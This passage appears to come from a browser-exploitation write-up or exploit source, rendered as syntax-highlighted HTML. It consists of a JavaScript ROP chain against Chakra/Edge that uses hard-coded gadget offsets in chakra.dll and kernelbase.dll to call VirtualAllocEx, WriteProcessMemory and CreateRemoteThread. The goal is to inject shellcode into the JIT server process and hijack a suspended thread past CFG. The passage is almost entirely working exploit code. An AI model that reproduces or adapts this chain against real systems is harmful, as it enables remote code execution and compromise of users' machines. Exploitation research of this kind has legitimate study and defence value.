<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// CreateRemoteThread() ROP chain</span>
<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
<span class="c1">// This can be any random data, since it will never be executed</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
